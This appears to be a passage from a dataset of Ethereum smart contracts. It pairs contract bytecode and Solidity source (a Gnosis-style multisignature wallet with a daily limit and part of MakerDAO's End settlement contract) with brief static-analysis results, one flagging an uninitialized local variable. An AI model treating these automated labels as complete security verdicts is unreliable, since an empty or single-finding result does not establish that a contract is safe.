0610807565b600061010067ffffffffffffffff81111561055b5761055a6109ed565b5b6040519080825280601f01601f19166020018201604052801561058d5781602001600182028036833780820191505090505b50905060005b60008511156106465760008460ff16866105ad919061105b565b905060006030826105be919061108c565b905060098260ff1611156105dc576007816105d9919061108c565b90505b8060f81b8484806105ec90610f24565b9550815181106105ff576105fe610e3c565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508560ff168761063d919061102a565b96505050610593565b6000819050600091505b60028161065d919061102a565b8210156108005782826001836106739190610ef0565b61067d9190610ef0565b8151811061068e5761068d610e3c565b5b602001015160f81c60f81b8383815181106106ac576106ab610e3c565b5b6020010181815160f81c60f81b189150907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508282815181106106fa576106f9610e3c565b5b602001015160f81c60f81b83836001846107149190610ef0565b61071e9190610ef0565b8151811061072f5761072e610e3c565b5b6020010181815160f81c60f81b189150907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535082826001836107799190610ef0565b6107839190610ef0565b8151811061079457610793610e3c565b5b602001015160f81c60f81b8383815181106107b2576107b1610e3c565b5b6020010181815160f81c60f81b189150907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535081806107f890610f24565b925050610650565b8293505050505b92915050565b606060005b60208160ff161080156108645750600060f81b838260ff166020811061083b5761083a610e3c565b5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614155b1561087c578080610874906110c3565b915050610812565b60008160ff1667ffffffffffffffff81111561089b5761089a6109ed565b5b6040519080825280601f01601f1916602001820160405280156108cd5781602001600182028036833780820191505090505b509050600091505b60208260ff161080156109275750600060f81b848360ff16602081106108fe576108fd610e3c565b5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614155b1561099e57838260ff166020811061094257610941610e3c565b5b1a60f81b818360ff168151811061095c5761095b610e3c565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a9053508180610996906110c3565b9250506108d5565b8092505050919050565b6000806109b58385610191565b14905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b610a25826109dc565b810181811067ffffffffffffffff82111715610a4457610a436109ed565b5b80604052505050565b6000610a576109be565b9050610a638282610a1c565b919050565b600067ffffffffffffffff821115610a8357610a826109ed565b5b610a8c826109dc565b9050602081019050919050565b82818337600083830152505050565b6000610abb610ab684610a68565b610a4d565b905082815260208101848484011115610ad757610ad66109d7565b5b610ae2848285610a99565b509392505050565b600082601f830112610aff57610afe6109d2565b5b8135610b0f848260208601610aa8565b91505092915050565b60008060408385031215610b2f57610b2e6109c8565b5b600083013567ffffffffffffffff811115610b4d57610b4c6109cd565b5b610b5985828601610aea565b925050602083013567ffffffffffffffff811115610b7a57610b796109cd565b5b610b8685828601610aea565b9150509250929050565b6000819050919050565b610ba381610b90565b82525050565b6000602082019050610bbe6000830184610b9a565b92915050565b600060ff82169050919050565b610bda81610bc4565b8114610be557600080fd5b50565b600081359050610bf781610bd1565b92915050565b60008060408385031215610c1457610c136109c8565b5b600083013567ffffffffffffffff811115610c3257610c316109cd565b5b610c3e85828601610aea565b9250506020610c4f85828601610be8565b9150509250929050565b6000819050919050565b610c6c81610c59565b82525050565b6000602082019050610c876000830184610c63565b92915050565b60008115159050919050565b610ca281610c8d565b82525050565b6000602082019050610cbd6000830184610c99565b92915050565b610ccc81610c59565b8114610cd757600080fd5b50565b600081359050610ce981610cc3565b92915050565b60008060408385031215610d0657610d056109c8565b5b6000610d1485828601610cda565b9250506020610d2585828601610be8565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610d69578082015181840152602081019050610d4e565b83811115610d78576000848401525b50505050565b6000610d8982610d2f565b610d938185610d3a565b9350610da3818560208601610d4b565b610dac816109dc565b840191505092915050565b60006020820190508181036000830152610dd18184610d7e565b905092915050565b6000819050919050565b610dec81610dd9565b8114610df757600080fd5b50565b600081359050610e0981610de3565b92915050565b600060208284031215610e2557610e246109c8565b5b6000610e3384828501610dfa565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000610ea582610c59565b9150610eb083610c59565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610ee557610ee4610e6b565b5b828201905092915050565b6000610efb82610c59565b9150610f0683610c59565b925082821015610f1957610f18610e6b565b5b828203905092915050565b6000610f2f82610c59565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415610f6257610f61610e6b565b5b600182019050919050565b6000610f7882610bc4565b9150610f8383610bc4565b925082821015610f9657610f95610e6b565b5b828203905092915050565b6000610fac82610c59565b9150610fb783610c59565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615610ff057610fef610e6b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061103582610c59565b915061104083610c59565b9250826110505761104f610ffb565b5b828204905092915050565b600061106682610c59565b915061107183610c59565b92508261108157611080610ffb565b5b828206905092915050565b600061109782610bc4565b91506110a283610bc4565b92508260ff038211156110b8576110b7610e6b565b5b828201905092915050565b60006110ce82610bc4565b915060ff8214156110e2576110e1610e6b565b5b60018201905091905056fea2646970667358221220af9467c4cc893a3b434c48334d3221c7f46dbd6e7179c4fcdc0d7806dfed07be64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
65
0x7113ed85c7cb31991c110a9406e1a70fa5df8d06
pragma solidity ^0.4.21; /// This Multisignature wallet is based on Gnosis implementation: https://github.com/Gnosis/MultiSigWallet /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable public { if (msg.value > 0) emit Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity&#39;s code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } } /// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig. /// @author Stefan George - <stefan.george@consensys.net> contract MultiSigWalletWithDailyLimit is MultiSigWallet { /* * Events */ event DailyLimitChange(uint dailyLimit); /* * Storage */ uint public dailyLimit; uint public lastDay; uint public spentToday; /* * Public functions */ /// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. /// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis. function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit) public MultiSigWallet(_owners, _required) { dailyLimit = _dailyLimit; } /// @dev Allows to change the daily limit. Transaction has to be sent by wallet. /// @param _dailyLimit Amount in wei. function changeDailyLimit(uint _dailyLimit) public onlyWallet { dailyLimit = _dailyLimit; emit DailyLimitChange(_dailyLimit); } /// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { Transaction storage txn = transactions[transactionId]; bool _confirmed = isConfirmed(transactionId); if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) { txn.executed = true; if (!_confirmed) spentToday += txn.value; if (txn.destination.call.value(txn.value)(txn.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; if (!_confirmed) spentToday -= txn.value; } } } /* * Internal functions */ /// @dev Returns if amount is within daily limit and resets spentToday after one day. /// @param amount Amount to withdraw. /// @return Returns if amount is under daily limit. function isUnderLimit(uint amount) internal returns (bool) { if (now > lastDay + 24 hours) { lastDay = now; spentToday = 0; } if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) return false; return true; } /* * Web3 call functions */ /// @dev Returns maximum withdraw amount. /// @return Returns amount. function calcMaxWithdraw() public constant returns (uint) { if (now > lastDay + 24 hours) return dailyLimit; if (dailyLimit < spentToday) return 0; return dailyLimit - spentToday; } }
0x6060604052600436106101535763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461019c578063173825d9146101ce57806320ea8d86146101ed5780632f54bf6e146102035780633411c81c146102365780634bc9fdc214610258578063547415251461027d57806367eeba0c1461029a5780636b0c932d146102ad5780637065cb48146102c0578063784547a7146102df5780638b51d13f146102f55780639ace38c21461030b578063a0e67e2b146103b9578063a8abe69a1461041f578063b5dc40c314610442578063b77bf60014610458578063ba51a6df1461046b578063c01a8c8414610481578063c642747414610497578063cea08621146104fc578063d74f8edd14610512578063dc8452cd14610525578063e20056e614610538578063ee22610b1461055d578063f059cf2b14610573575b600034111561019a5733600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a25b005b34156101a757600080fd5b6101b2600435610586565b604051600160a060020a03909116815260200160405180910390f35b34156101d957600080fd5b61019a600160a060020a03600435166105ae565b34156101f857600080fd5b61019a600435610743565b341561020e57600080fd5b610222600160a060020a0360043516610821565b604051901515815260200160405180910390f35b341561024157600080fd5b610222600435600160a060020a0360243516610836565b341561026357600080fd5b61026b610856565b60405190815260200160405180910390f35b341561028857600080fd5b61026b60043515156024351515610890565b34156102a557600080fd5b61026b6108fc565b34156102b857600080fd5b61026b610902565b34156102cb57600080fd5b61019a600160a060020a0360043516610908565b34156102ea57600080fd5b610222600435610a44565b341561030057600080fd5b61026b600435610ac8565b341561031657600080fd5b610321600435610b37565b604051600160a060020a038516815260208101849052811515606082015260806040820181815290820184818151815260200191508051906020019080838360005b8381101561037b578082015183820152602001610363565b50505050905090810190601f1680156103a85780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34156103c457600080fd5b6103cc610c15565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561040b5780820151838201526020016103f3565b505050509050019250505060405180910390f35b341561042a57600080fd5b6103cc60043560243560443515156064351515610c7d565b341561044d57600080fd5b6103cc600435610da5565b341561046357600080fd5b61026b610f09565b341561047657600080fd5b61019a600435610f0f565b341561048c57600080fd5b61019a600435610fa2565b34156104a257600080fd5b61026b60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061109095505050505050565b341561050757600080fd5b61019a6004356110af565b341561051d57600080fd5b61026b61110a565b341561053057600080fd5b61026b61110f565b341561054357600080fd5b61019a600160a060020a0360043581169060243516611115565b341561056857600080fd5b61019a6004356112c3565b341561057e57600080fd5b61026b6114dd565b600380548290811061059457fe5b600091825260209091200154600160a060020a0316905081565b600030600160a060020a031633600160a060020a03161415156105d057600080fd5b600160a060020a038216600090815260026020526040902054829060ff1615156105f957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106dc5782600160a060020a031660038381548110151561064357fe5b600091825260209091200154600160a060020a031614156106d15760038054600019810190811061067057fe5b60009182526020909120015460038054600160a060020a03909216918490811061069657fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790556106dc565b60019091019061061c565b6003805460001901906106ef9082611628565b5060035460045411156107085760035461070890610f0f565b82600160a060020a03167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a2505050565b33600160a060020a03811660009081526002602052604090205460ff16151561076b57600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff1615156107a057600080fd5b600084815260208190526040902060030154849060ff16156107c157600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b60006007546201518001421115610870575060065461088d565b60085460065410156108845750600061088d565b50600854600654035b90565b6000805b6005548110156108f5578380156108bd575060008181526020819052604090206003015460ff16155b806108e157508280156108e1575060008181526020819052604090206003015460ff165b156108ed576001820191505b600101610894565b5092915050565b60065481565b60075481565b30600160a060020a031633600160a060020a031614151561092857600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561095057600080fd5b81600160a060020a038116151561096657600080fd5b600380549050600101600454603282111580156109835750818111155b801561098e57508015155b801561099957508115155b15156109a457600080fd5b600160a060020a0385166000908152600260205260409020805460ff1916600190811790915560038054909181016109dc8382611628565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0387169081179091557ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b600080805b600354811015610ac15760008481526001602052604081206003805491929184908110610a7257fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610aa6576001820191505b600454821415610ab95760019250610ac1565b600101610a49565b5050919050565b6000805b600354811015610b315760008381526001602052604081206003805491929184908110610af557fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610b29576001820191505b600101610acc565b50919050565b60006020528060005260406000206000915090508060000160009054906101000a9004600160a060020a031690806001015490806002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c025780601f10610bd757610100808354040283529160200191610c02565b820191906000526020600020905b815481529060010190602001808311610be557829003601f168201915b5050506003909301549192505060ff1684565b610c1d611651565b6003805480602002602001604051908101604052809291908181526020018280548015610c7357602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610c55575b5050505050905090565b610c85611651565b610c8d611651565b600080600554604051805910610ca05750595b9080825280602002602001820160405250925060009150600090505b600554811015610d3557858015610ce5575060008181526020819052604090206003015460ff16155b80610d095750848015610d09575060008181526020819052604090206003015460ff165b15610d2d5780838381518110610d1b57fe5b60209081029091010152600191909101905b600101610cbc565b878703604051805910610d455750595b908082528060200260200182016040525093508790505b86811015610d9a57828181518110610d7057fe5b906020019060200201518489830381518110610d8857fe5b60209081029091010152600101610d5c565b505050949350505050565b610dad611651565b610db5611651565b6003546000908190604051805910610dca5750595b9080825280602002602001820160405250925060009150600090505b600354811015610e925760008581526001602052604081206003805491929184908110610e0f57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610e8a576003805482908110610e4a57fe5b600091825260209091200154600160a060020a0316838381518110610e6b57fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610de6565b81604051805910610ea05750595b90808252806020026020018201604052509350600090505b81811015610f0157828181518110610ecc57fe5b90602001906020020151848281518110610ee257fe5b600160a060020a03909216602092830290910190910152600101610eb8565b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610f2f57600080fd5b6003548160328211801590610f445750818111155b8015610f4f57508015155b8015610f5a57508115155b1515610f6557600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a1505050565b33600160a060020a03811660009081526002602052604090205460ff161515610fca57600080fd5b6000828152602081905260409020548290600160a060020a03161515610fef57600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff161561102357600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a3611089856112c3565b5050505050565b600061109d8484846114e3565b90506110a881610fa2565b9392505050565b30600160a060020a031633600160a060020a03161415156110cf57600080fd5b60068190557fc71bdc6afaf9b1aa90a7078191d4fc1adf3bf680fca3183697df6b0dc226bca28160405190815260200160405180910390a150565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561113757600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561116057600080fd5b600160a060020a038316600090815260026020526040902054839060ff161561118857600080fd5b600092505b6003548310156112215784600160a060020a03166003848154811015156111b057fe5b600091825260209091200154600160a060020a0316141561121657836003848154811015156111db57fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055611221565b60019092019161118d565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25050505050565b33600160a060020a0381166000908152600260205260408120549091829160ff1615156112ef57600080fd5b600084815260016020908152604080832033600160a060020a038116855292529091205485919060ff16151561132457600080fd5b600086815260208190526040902060030154869060ff161561134557600080fd5b6000878152602081905260409020955061135e87610a44565b945084806113915750600280870154600019610100600183161502011604158015611391575061139186600101546115e0565b156114d45760038601805460ff191660011790558415156113bb5760018601546008805490910190555b85546001870154600160a060020a03909116906002880160405180828054600181600116156101000203166002900480156114375780601f1061140c57610100808354040283529160200191611437565b820191906000526020600020905b81548152906001019060200180831161141a57829003601f168201915b505091505060006040518083038185875af1925050501561148457867f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a26114d4565b867f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038601805460ff191690558415156114d4576001860154600880549190910390555b50505050505050565b60085481565b600083600160a060020a03811615156114fb57600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039190911617815560208201518160010155604082015181600201908051611586929160200190611663565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b600060075462015180014211156115fb574260075560006008555b600654826008540111806116125750600854828101105b1561161f57506000611623565b5060015b919050565b81548183558181151161164c5760008381526020902061164c9181019083016116e1565b505050565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106116a457805160ff19168380011785556116d1565b828001600101855582156116d1579182015b828111156116d15782518255916020019190600101906116b6565b506116dd9291506116e1565b5090565b61088d91905b808211156116dd57600081556001016116e75600a165627a7a72305820efb7bed2d3f7fe48eb105054656e51b1140d992ac8f0659c35106c0d9f09c9ed0029
{"success": true, "error": null, "results": {}}
66
0x7917ff6b73bd9df5435d299cd2ae35732048c078
/** *Submitted for verification at Etherscan.io on 2021-04-19 */ // SPDX-License-Identifier: AGPL-3.0-or-later /// DssDeploy.sol // Copyright (C) 2018-2020 Maker Ecosystem Growth Holdings, INC. // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU Affero General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU Affero General Public License for more details. // // You should have received a copy of the GNU Affero General Public License // along with this program. If not, see <https://www.gnu.org/licenses/>. pragma solidity >=0.5.12; interface VatLike { function dai(address) external view returns (uint256); function ilks(bytes32 ilk) external returns ( uint256 Art, // [wad] uint256 rate, // [ray] uint256 spot, // [ray] uint256 line, // [rad] uint256 dust // [rad] ); function urns(bytes32 ilk, address urn) external returns ( uint256 ink, // [wad] uint256 art // [wad] ); function debt() external returns (uint256); function move(address src, address dst, uint256 rad) external; function hope(address) external; function flux(bytes32 ilk, address src, address dst, uint256 rad) external; function grab(bytes32 i, address u, address v, address w, int256 dink, int256 dart) external; function suck(address u, address v, uint256 rad) external; function cage() external; } interface CatLike { function ilks(bytes32) external returns ( address flip, uint256 chop, // [ray] uint256 lump // [rad] ); function cage() external; } interface DogLike { function ilks(bytes32) external returns ( address clip, uint256 chop, uint256 hole, uint256 dirt ); function cage() external; } interface PotLike { function cage() external; } interface VowLike { function cage() external; } interface FlipLike { function bids(uint256 id) external view returns ( uint256 bid, // [rad] uint256 lot, // [wad] address guy, uint48 tic, // [unix epoch time] uint48 end, // [unix epoch time] address usr, address gal, uint256 tab // [rad] ); function yank(uint256 id) external; } interface ClipLike { function sales(uint256 id) external view returns ( uint256 pos, uint256 tab, uint256 lot, address usr, uint96 tic, uint256 top ); function yank(uint256 id) external; } interface PipLike { function read() external view returns (bytes32); } interface SpotLike { function par() external view returns (uint256); function ilks(bytes32) external view returns ( PipLike pip, uint256 mat // [ray] ); function cage() external; } /* This is the `End` and it coordinates Global Settlement. This is an involved, stateful process that takes place over nine steps. First we freeze the system and lock the prices for each ilk. 1. `cage()`: - freezes user entrypoints - cancels flop/flap auctions - starts cooldown period - stops pot drips 2. `cage(ilk)`: - set the cage price for each `ilk`, reading off the price feed We must process some system state before it is possible to calculate the final dai / collateral price. In particular, we need to determine a. `gap`, the collateral shortfall per collateral type by considering under-collateralised CDPs. b. `debt`, the outstanding dai supply after including system surplus / deficit We determine (a) by processing all under-collateralised CDPs with `skim`: 3. `skim(ilk, urn)`: - cancels CDP debt - any excess collateral remains - backing collateral taken We determine (b) by processing ongoing dai generating processes, i.e. auctions. We need to ensure that auctions will not generate any further dai income. In the two-way auction model (Flipper) this occurs when all auctions are in the reverse (`dent`) phase. There are two ways of ensuring this: 4a. i) `wait`: set the cooldown period to be at least as long as the longest auction duration, which needs to be determined by the cage administrator. This takes a fairly predictable time to occur but with altered auction dynamics due to the now varying price of dai. ii) `skip`: cancel all ongoing auctions and seize the collateral. This allows for faster processing at the expense of more processing calls. This option allows dai holders to retrieve their collateral faster. `skip(ilk, id)`: - cancel individual flip auctions in the `tend` (forward) phase - retrieves collateral and debt (including penalty) to owner's CDP - returns dai to last bidder - `dent` (reverse) phase auctions can continue normally Option (i), `wait`, is sufficient (if all auctions were bidded at least once) for processing the system settlement but option (ii), `skip`, will speed it up. Both options are available in this implementation, with `skip` being enabled on a per-auction basis. In the case of the Dutch Auctions model (Clipper) they keep recovering debt during the whole lifetime and there isn't a max duration time guaranteed for the auction to end. So the way to ensure the protocol will not receive extra dai income is: 4b. i) `snip`: cancel all ongoing auctions and seize the collateral. `snip(ilk, id)`: - cancel individual running clip auctions - retrieves remaining collateral and debt (including penalty) to owner's CDP When a CDP has been processed and has no debt remaining, the remaining collateral can be removed. 5. `free(ilk)`: - remove collateral from the caller's CDP - owner can call as needed After the processing period has elapsed, we enable calculation of the final price for each collateral type. 6. `thaw()`: - only callable after processing time period elapsed - assumption that all under-collateralised CDPs are processed - fixes the total outstanding supply of dai - may also require extra CDP processing to cover vow surplus 7. `flow(ilk)`: - calculate the `fix`, the cash price for a given ilk - adjusts the `fix` in the case of deficit / surplus At this point we have computed the final price for each collateral type and dai holders 